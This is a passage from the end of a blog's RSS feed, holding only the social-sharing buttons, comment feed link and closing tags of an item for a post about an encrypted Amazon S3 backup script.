<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F02%2F16%2Famazon-s3-backup-script-with-encryption%2F&amp;linkname=Amazon%20S3%20Backup%20script%20with%20encryption" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F02%2F16%2Famazon-s3-backup-script-with-encryption%2F&amp;linkname=Amazon%20S3%20Backup%20script%20with%20encryption" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F02%2F16%2Famazon-s3-backup-script-with-encryption%2F&amp;linkname=Amazon%20S3%20Backup%20script%20with%20encryption" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F02%2F16%2Famazon-s3-backup-script-with-encryption%2F&amp;linkname=Amazon%20S3%20Backup%20script%20with%20encryption" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><!--[if IE]><iframe frameborder="0" allowTransparency="true" class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F02%2F16%2Famazon-s3-backup-script-with-encryption%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><![endif]--><!--[if !IE]><!--><iframe class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F02%2F16%2Famazon-s3-backup-script-with-encryption%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><!--<![endif]--><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F02%2F16%2Famazon-s3-backup-script-with-encryption%2F&amp;title=Amazon%20S3%20Backup%20script%20with%20encryption" id="wpa2a_18"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2010/02/16/amazon-s3-backup-script-with-encryption/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

